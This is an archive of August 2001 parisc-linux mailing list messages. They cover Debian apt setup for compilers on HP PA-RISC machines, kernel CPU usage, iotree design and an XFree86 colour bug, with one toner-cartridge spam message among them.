Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E8A93482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 19 Aug 2001 04:18:43 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15YPf8-0002zf-00; Sun, 19 Aug 2001 11:18:34 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <01081912061400.01092@octopus>; from Reinhard.Gimbel@freenet.de on Sun, Aug 19, 2001 at 12:07:27PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11919

On Sun, Aug 19, 2001 at 12:07:27PM +0200, Reinhard Gimbel wrote:
> After successfully installing palinux-0.9.2 on my 715/64
> I'm looking for the compilers (c, c++) ...

It looks like you didn't add the debian apt sources to your
/etc/apt/sources.list.  binutils is at 2.11.90.0.27-1 currently,
for example.  Make sure you have gcc-3.0 installed (from the archive;
current version for hppa is 3.0.1-0pre010811).

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Reinhard Gimbel <Reinhard.Gimbel@freenet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [palinux-0.9.2] Where are the compilers (c, c++) ?
Date: Sun, 19 Aug 2001 21:10:25 +0200
Lines: 56
Approved: news@gmane.org
Message-ID: <01081921102500.00948@octopus>
References: <01081912061400.01092@octopus> <20010819111834.C14486@parcelfarce.linux.theplanet.co.uk>
Reply-To: Reinhard.Gimbel@freenet.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620396 23912 80.91.229.3 (22 Nov 2014 01:39:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org, debian-gcc@lists.debian.org,
	matt@lackof.org, gcc@packages.debian.org, ossama@debian.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 19 13:10:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mout0.freenet.de (mout0.freenet.de [194.97.50.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id EC739482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 19 Aug 2001 13:10:32 -0600 (MDT)
Original-Received: from [194.97.50.135] (helo=mx2.freenet.de)
	by mout0.freenet.de with esmtp (Exim 3.32 #1)
	id 15YXxs-0002rG-00; Sun, 19 Aug 2001 21:10:28 +0200
Original-Received: from b1801.pppool.de ([213.7.24.1] helo=octopus)
	by mx2.freenet.de with smtp (Exim 3.32 #1)
	id 15YXxs-0003eA-00; Sun, 19 Aug 2001 21:10:28 +0200
X-Mailer: KMail [version 1.2]
In-Reply-To: <20010819111834.C14486@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11920

> > After successfully installing palinux-0.9.2 on my 715/64
> > I'm looking for the compilers (c, c++) ...
>
> It looks like you didn't add the debian apt sources to your
> /etc/apt/sources.list.  binutils is at 2.11.90.0.27-1
> currently, for example.  Make sure you have gcc-3.0 installed
> (from the archive; current version for hppa is
> 3.0.1-0pre010811).

/etc/apt/sources.list contains one line which point to my local 
CD-ROM drive

'man apt-get' and man 'sources.list' result in 'No manual entry 
for ...'

'apt-get install gcc' results in:

----- 8< ----- 8< ----- 8< ----- 8< ----- 8< -----

root@frog # apt-get install gcc
Reading Package Lists... Done
Building Dependency Tree... Done
Sorry, gcc is already the newest version.
You might want to run `apt-get -f install' to correct these:
Sorry, but the following packages have unmet dependencies:
  cpp: Depends: cpp-3.0 but it is not installable
  g++: Depends: g++-3.0 but it is not installable
       Depends: gcc-3.0 but it is not installable
  gcc: Depends: gcc-3.0 but it is not installable
       Depends: cpp-3.0 but it is not installable
  libstdc++3-dev: Depends: g++-3.0 (>= 1:3.0-1) but it is not 
installable
E: Unmet dependencies. Try 'apt-get -f install' with no 
packages (or specify a .

----- 8< ----- 8< ----- 8< ----- 8< ----- 8< -----

The output of apt-get says that there is something essential 
missing to install the C compiler environment or ot get a 
running C/C++ development environment ...

The only data I have got at present is from the CD-ROM image 
'palinux-0.9.2' (approx. 130 MB)

The folder tree below  
'ftp://ftp.debian.org/debian/dists/sid/binary-hppa' holds only 
a few deb-files (no C compilers as I would need to solve my 
problem) which mainly are links to binary-all.

So there seems to be no hppa-related stuff at least at the 
original debian server ...

Reinhard.




From - Thu Nov 08 21:18:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <matt@lackof.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [palinux-0.9.2] Where are the compilers (c, c++) ?
Date: Sun, 19 Aug 2001 13:50:00 -0600
Lines: 38
Approved: news@gmane.org
Message-ID: <20010819195001.180A612280B@cyrix.home.bogus>
References: <01081912061400.01092@octopus> <20010819111834.C14486@parcelfarce.linux.theplanet.co.uk>  <01081921102500.00948@octopus>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620397 23917 80.91.229.3 (22 Nov 2014 01:39:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:57 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org,
	debian-gcc@lists.debian.org, matt@lackof.org,
	gcc@packages.debian.org, ossama@debian.org
To: Reinhard.Gimbel@freenet.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 19 13:49:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cyrix.home.bogus (Taggart.cwx.net [216.17.176.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5AD3F482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 19 Aug 2001 13:49:51 -0600 (MDT)
Original-Received: from cyrix.home.bogus (localhost [127.0.0.1])
	by cyrix.home.bogus (Postfix) with ESMTP
	id 180A612280B; Sun, 19 Aug 2001 13:50:01 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Reinhard Gimbel <Reinhard.Gimbel@freenet.de> 
   of "Sun, 19 Aug 2001 21:10:25 +0200." <01081921102500.00948@octopus> 
Xref: news.gmane.org gmane.linux.ports.parisc:11921

Reinhard Gimbel writes...

> The folder tree below  
> 'ftp://ftp.debian.org/debian/dists/sid/binary-hppa' holds only 
> a few deb-files (no C compilers as I would need to solve my 
> problem) which mainly are links to binary-all.

That's because everything lives in the pool now( see 
http://ftp.de.debian.org/debian/pool/ ). You need to add this line to your 
/etc/apt/sources.list,

deb http://ftp.de.debian.org/debian unstable main non-free contrib

Then run,

apt-get update
apt-get upgrade

That will get you everything you need in order to use the unofficial 
binutils-hppa64 and gcc-hppa64 debs that are on the CD so that you can build a 
64 bit kernel.

Eventually the hppa64 cross-compilers will be in the Debian archive, but not 
until they can be built in a clean/sane fashion. For now just keep using the 
ones on the CD also available at,

ftp://puffin.external.hp.com/pub/parisc/binaries/debian/unofficial-debs/

HTH,

-- 
Matt Taggart
matt@lackof.org






From - Thu Nov 08 21:18:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [palinux-0.9.2] Where are the compilers (c, c++) ?
Followup-To: gmane.linux.debian.ports.hppa
Date: Sun, 19 Aug 2001 23:51:00 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20010819235100.D5658@parcelfarce.linux.theplanet.co.uk>
References: <01081912061400.01092@octopus> <20010819111834.C14486@parcelfarce.linux.theplanet.co.uk> <01081921102500.00948@octopus> <Reinhard.Gimbel@freenet.de> <20010819195001.180A612280B@cyrix.home.bogus>
Reply-To: debian-hppa@lists.debian.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620397 23925 80.91.229.3 (22 Nov 2014 01:39:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:57 +0000 (UTC)
Cc: Reinhard.Gimbel@freenet.de, parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org
To: Matt Taggart <matt@lackof.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 19 16:51:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id BF23F482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 19 Aug 2001 16:51:02 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15YbPI-0006wy-00; Sun, 19 Aug 2001 23:51:00 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010819195001.180A612280B@cyrix.home.bogus>; from matt@lackof.org on Sun, Aug 19, 2001 at 01:50:00PM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11922

On Sun, Aug 19, 2001 at 01:50:00PM -0600, Matt Taggart wrote:
> apt-get update
> apt-get upgrade

Nitpick: use dist-upgrade instead of upgrade; it'll do more what you want.

I notice a lot of questions we're getting recently are generic debian
questions rather than being hppa-specific; could people please read
some of the documentation on the debian website if they're not familiar
with debian?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <vortex@cardtown.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] toner
Date: Sun, 19 Aug 2001 22:11:52
Lines: 117
Approved: news@gmane.org
Message-ID: <527.11481.850892@cardtown.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620397 23927 80.91.229.3 (22 Nov 2014 01:39:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 19 20:10:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.aanp.org (www.aanp.org [206.196.68.226])
	by dsl2.external.hp.com (Postfix) with ESMTP id 23D2E482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 19 Aug 2001 20:10:50 -0600 (MDT)
Original-Received: from cardtown.com ([63.178.170.24]) by mail.aanp.org
          (Post.Office MTA v3.5.3 release 223 ID# 0-58869U100L100S0V35)
          with SMTP id org for <parisc-linux@lists.parisc-linux.org>;
          Sun, 19 Aug 2001 20:51:00 -0500
Xref: news.gmane.org gmane.linux.ports.parisc:11923



**** VORTEX  SUPPLIES ****

YOUR LASER PRINTER TONER CARTRIDGE,
COPIER AND FAX CARTRIDGE CONNECTION

SAVE UP TO 30% FROM RETAIL

ORDER BY PHONE:1-888-288-9043
ORDER BY FAX: 1-888-977-1577
E-MAIL REMOVAL LINE: 1-888-248-4930 


UNIVERSITY AND/OR SCHOOL PURCHASE ORDERS WELCOME. (NO CREDIT APPROVAL REQUIRED)
ALL OTHER PURCHASE ORDER REQUESTS REQUIRE CREDIT APPROVAL.
PAY BY CHECK (C.O.D), CREDIT CARD OR PURCHASE ORDER (NET 30 DAYS).

IF YOUR ORDER IS BY CREDIT CARD PLEASE LEAVE YOUR CREDIT CARD # PLUS EXPIRATION DATE. 
IF YOUR ORDER IS BY PURCHASE ORDER LEAVE YOUR SHIPPING/BILLING ADDRESSES AND YOUR P.O. NUMBER


NOTE: WE DO NOT CARRY 

1) XEROX, BROTHER, PANASONIC, FUJITSU PRODUCTS
2) HP DESKJETJET/INK JET OR BUBBLE JET CARTRIDGES 
3) CANON BUBBLE JET CARTRIDGES 
4) ANY OFFBRANDS BESIDES THE ONES LISTED BELOW.    

OUR NEW , LASER PRINTER TONER CARTRIDGE, PRICES ARE  AS FOLLOWS: 
(PLEASE ORDER BY PAGE NUMBER AND/OR ITEM NUMBER)

HEWLETT PACKARD: (ON PAGE 2)

ITEM #1  LASERJET SERIES  4L,4P (74A)------------------------$44
ITEM #2  LASERJET SERIES  1100 (92A)-------------------------$44
ITEM #3  LASERJET SERIES  2 (95A)----------------------------$39
ITEM #4  LASERJET SERIES  2P (75A)---------------------------$54 
ITEM #5  LASERJET SERIES  5P,6P,5MP, 6MP (3903A)----------  -$44
ITEM #6  LASERJET SERIES  5SI, 8000 (09A)--------------------$95
ITEM #7  LASERJET SERIES  2100 (96A)-------------------------$74
ITEM #8  LASERJET SERIES  8100 (82X)------------------------$145
ITEM #9  LASERJET SERIES  5L/6L (3906A)----------------------$35
ITEM #10 LASERJET SERIES  4V---------------------------------$95
ITEM #11 LASERJET SERIES 4000 (27X)--------------------------$72
ITEM #12 LASERJET SERIES 3SI/4SI (91A)-----------------------$54
ITEM #13 LASERJET SERIES 4, 4M, 5,5M-------------------------$49
ITEM #13A LASERJET SERIES 5000 (29X)-------------------------$125

HEWLETT PACKARD FAX (ON PAGE 2)

ITEM #14 LASERFAX 500, 700 (FX1)----------$49
ITEM #15  LASERFAX 5000,7000 (FX2)--------$54
ITEM #16  LASERFAX (FX3)------------------$59
ITEM #17  LASERFAX (FX4)------------------$54


LEXMARK/IBM (ON PAGE 3)

OPTRA 4019, 4029 HIGH YIELD---------------$89
OPTRA R, 4039, 4049 HIGH YIELD-----------$105

OPTRA E-----------------------------------$59
OPTRA N----------------------------------$115
OPTRA S----------------------------------$165


EPSON (ON PAGE 4)

ACTION LASER 7000,7500,8000,9000----------$105
ACTION LASER 1000,1500--------------------$105


CANON PRINTERS (ON PAGE 5)

PLEASE CALL FOR MODELS AND UPDATED PRICES
FOR CANON PRINTER CARTRIDGES

PANASONIC (0N PAGE 7)

NEC SERIES 2 MODELS 90 AND 95----------$105

APPLE (0N PAGE 8)

LASER WRITER PRO 600 or 16/600------------------$49 
LASER WRITER SELECT 300,320,360-----------------$74
LASER WRITER 300 AND 320------------------------$54
LASER WRITER NT, 2NT----------------------------$54
LASER WRITER 12/640-----------------------------$79

CANON FAX (ON PAGE 9)

LASERCLASS 4000 (FX3)---------------------------$59
LASERCLASS 5000,6000,7000 (FX2)-----------------$54
LASERFAX 5000,7000 (FX2)------------------------$54
LASERFAX 8500,9000 (FX4)------------------------$54

CANON COPIERS (PAGE 10)

PC 3, 6RE, 7 AND 11 (A30)---------------------$69
PC 300,320,700,720,760,900,910,920(E-40)------$89


90 DAY UNLIMITED WARRANTY INCLUDED ON ALL PRODUCTS.

ALL TRADEMARKS AND BRAND NAMES LISTED ABOVE ARE PROPERTY OF THE 
RESPECTIVE HOLDERS AND USED FOR DESCRIPTIVE PURPOSES ONLY.











From - Thu Nov 08 21:18:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] contact wanted in the US
Date: Mon, 20 Aug 2001 08:38:31 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <sb80cd44.023@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620397 23932 80.91.229.3 (22 Nov 2014 01:39:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:57 +0000 (UTC)
To: "<" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 20 00:44:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ns.zrt.nl (ns.zrt.nl [212.153.94.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id DF477482A
	for <parisc-linux@parisc-linux.org>; Mon, 20 Aug 2001 00:44:25 -0600 (MDT)
Original-Received: (from fwmaster@localhost) by ns.zrt.nl (8.9.1a/8.6.12) id IAA27105 for <parisc-linux@parisc-linux.org>; Mon, 20 Aug 2001 08:44:24 +0200 (MET DST)
Original-Received: by zrt01.zrt.nl via smap (V1.3)
	id sma026973; Mon, 20 Aug 01 08:43:18 +0200
Original-Received: from Rivierenland-Message_Server by ms-zrt1
	with Novell_GroupWise; Mon, 20 Aug 2001 08:41:40 +0200
X-Mailer: Novell GroupWise 5.5.2
Content-Disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:11924

I'm bidding on an HP workstation that would only be shipped to the USA.

Unfortunately, I don't live there.

Should I win, is there someone here willing to receive it and send it on
to me? I'm happy to pay costs via paypal, and I'll send you a real Dutch
souvenir (no drugs/weed, before you ask). I'm planning to run parisc-linux
on it, of course, and hope to learn enough to even be able to contribute.

Please get in touch,
Jurriaan







From - Thu Nov 08 21:18:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel 2.4.9-pa2?
Date: Mon, 20 Aug 2001 12:06:41 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <OFA4BBF115.9057A3C5-ONC1256AAE.00371DC0@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620398 23934 80.91.229.3 (22 Nov 2014 01:39:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 20 04:03:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id EC120482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 20 Aug 2001 04:03:50 -0600 (MDT)
Original-Received: from mcnbru01 (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d557c4362e3@epirel991.europay.com> for <parisc-linux@lists.parisc-linux.org>;
 Mon, 20 Aug 2001 12:03:31 +0200
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.6a |January 17, 2001) at
 08/20/2001 12:06:42 PM
Xref: news.gmane.org gmane.linux.ports.parisc:11925

Dear all,

I just recompile the last cvs kernel (dated 20010818) and install it on a
712 model.

Is it nornal that process ksoftirq_CPU0 consume about 95% of cpu resources?

tnx in advance,
     Joel



**********************************************************************
This e-mail and any attachments to it may contain confidential information which is strictly intended for the use of the authorised recipient.  If you have received this e-mail in error, please delete it and notify the sender by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:18:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4.9-pa2?
Date: Mon, 20 Aug 2001 11:28:06 +0100 (BST)
Lines: 6
Approved: news@gmane.org
Message-ID: <E15YmHu-0005lD-00@the-village.bc.nu>
References: <OFA4BBF115.9057A3C5-ONC1256AAE.00371DC0@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620398 23935 80.91.229.3 (22 Nov 2014 01:39:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jso@europay.com (=?iso-8859-1?Q?Jo=EBl_Soete?=)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 20 04:25:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from the-village.bc.nu (lightning.swansea.linux.org.uk [194.168.151.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0C52482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 20 Aug 2001 04:25:13 -0600 (MDT)
Original-Received: from alan by the-village.bc.nu with local (Exim 3.22 #1)
	id 15YmHu-0005lD-00; Mon, 20 Aug 2001 11:28:06 +0100
In-Reply-To: <OFA4BBF115.9057A3C5-ONC1256AAE.00371DC0@LocalDomain> from "=?iso-8859-1?Q?Jo=EBl_Soete?=" at Aug 20, 2001 12:06:41 PM
X-Mailer: ELM [version 2.5 PL5]
Xref: news.gmane.org gmane.linux.ports.parisc:11926

> Is it nornal that process ksoftirq_CPU0 consume about 95% of cpu resources?

Nope.




From - Thu Nov 08 21:18:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4.9-pa2?
Date: Mon, 20 Aug 2001 23:17:45 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <20010820211823.D4D92482A@dsl2.external.hp.com>
References: <E15YmHu-0005lD-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620398 23938 80.91.229.3 (22 Nov 2014 01:39:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jso@europay.com (=?iso-8859-1?q?Jo=EBl?= Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 20 15:18:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id D4D92482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 20 Aug 2001 15:18:23 -0600 (MDT)
Original-Received: (qmail 12046 invoked by uid 0); 20 Aug 2001 21:18:16 -0000
Original-Received: from pd9040303.dip.t-dialin.net (HELO there) (217.4.3.3)
  by mail.gmx.net (mp003-rz3) with SMTP; 20 Aug 2001 21:18:16 -0000
X-Mailer: KMail [version 1.3.5]
In-Reply-To: <E15YmHu-0005lD-00@the-village.bc.nu>
Xref: news.gmane.org gmane.linux.ports.parisc:11927

> > Is it nornal that process ksoftirq_CPU0 consume about 95% of cpu
> > resources?

Hi Jol,

sorry, but I can't verify that with my 715/64, kernel -pa3 (same as -pa2 with
just a few minor and for this problem irrelevant changes in the harmony sound driver).

pa64:~# uname -a
Linux pa64 2.4.9-pa3 #6 Son Aug 19 20:16:30 CEST 2001 parisc unknown

pa64:~# top 

44 processes: 43 sleeping, 1 running, 0 zombie, 0 stopped
CPU states:   2.3% user,   2.8% system,   0.0% nice,  94.9% idle
PID USER     PRI  NI  SIZE  RSS SHARE STAT %CPU %MEM   TIME COMMAND  
   3 root      19  19     0    0     0 SWN   0.0  0.0   0:00 ksoftirqd_CPU0  

Helge




From - Thu Nov 08 21:18:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] iotree thoughts
Date: Mon, 20 Aug 2001 23:44:20 -0600
Lines: 39
Approved: news@gmane.org
Message-ID: <200108210544.XAA20603@puffin.external.hp.com>
References: <willy@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620399 23944 80.91.229.3 (22 Nov 2014 01:39:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:59 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 20 23:46:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 84758482A
	for <parisc-linux@parisc-linux.org>; Mon, 20 Aug 2001 23:46:53 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id XAA20603;
	Mon, 20 Aug 2001 23:44:20 -0600
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Tue, 14 Aug 2001 17:02:12 BST." <20010814170212.A22144@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:11928

Matthew Wilcox wrote:
> On Thu, Aug 09, 2001 at 09:06:43AM -0600, Grant Grundler wrote:
> > Yes. AFAIK, LASI sub-devices are listed by PDC. For Dino HPUX makes
> > a special hvers PDC call. Need to look at the HPUX code or Raven PDC ERS.
> 
> If you could dig those out for me, that'd be great.  I'm not familiar with
> the layout of the HPUX source tree yet.

That sounds too much like work. ;^)
Raven PDC ERS is available from HP's firmware team website. (internal only).

> > My long term goal is to be able to build a kernel w/o CONFIG_PCI defined.
> > And renaming gsc_init to native_bus_init() sounds like a good idea.
> 
> That's a good point.  A good step towards that would be..

I disagree. I want the kernel to NOT link if CONFIG_PCI and
CONFIG_ISA are not enabled when inx/outx functions are used.

> +#else
> +#define inb(a) BUG()
> +#define inw(a) BUG()
> +#define inl(a) BUG()
> +#define outb(a) BUG()
> +#define outw(a) BUG()
> +#define outl(a) BUG()
>  #endif

This will allow the kernel to link and then fail after rebooting.
That seems like a step backwards to me.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XFree86 - white pixel is blue
Date: Tue, 21 Aug 2001 00:25:00 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <200108210625.AAA20810@puffin.external.hp.com>
References: <charles_slivkoff@hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620399 23949 80.91.229.3 (22 Nov 2014 01:39:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Chuck Slivkoff <charles_slivkoff@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 21 00:26:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id CEF4D482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 21 Aug 2001 00:26:50 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id AAA20810;
	Tue, 21 Aug 2001 00:25:00 -0600
In-Reply-To: Message from Chuck Slivkoff <charles_slivkoff@hp.com> 
   of "Wed, 15 Aug 2001 18:57:29 EDT." <3B7AFE59.160764FE@hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11929

Chuck Slivkoff wrote:
> I just loaded the ISO on a 712/60 and setup XFree86 to use the fbdev
> driver. It seems to be OK, with the exception that "white" is "blue".

This sounds like a a bug.
